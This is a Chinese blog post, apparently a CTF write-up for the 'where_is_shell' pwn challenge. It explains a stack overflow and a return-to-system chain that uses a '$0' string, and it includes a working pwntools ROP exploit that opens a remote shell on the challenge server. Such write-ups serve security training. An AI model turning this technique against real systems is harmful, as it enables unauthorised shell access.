2025 SWPU-NSSCTF 秋季招新入门 where_is_shell

首先检查一下文件的保护措施
image
然后用ida打开看一下
image
这里的main函数就存在栈溢出,然后在这里已经有system函数了,还差/bin/sh
观察函数发现
image
这里标红了,具体看一下
image
这里的24 30 转化为10进制表现为$0,而$0就代指/bin/sh
所以/bin/sh就在0x400540+1处
最后就是64位下调用system函数要注意栈对齐

点击查看代码
from pwn import *
io=remote("node4.anna.nssctf.cn",28777)
system=0x400430 
pop_rdi=0x4005e3 
binsh=0x400540+1
ret = 0x0400416
payload=b"A"*(0x10+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()
posted @ 2025-09-01 23:22  Rye01R  阅读(78)  评论(0)    收藏  举报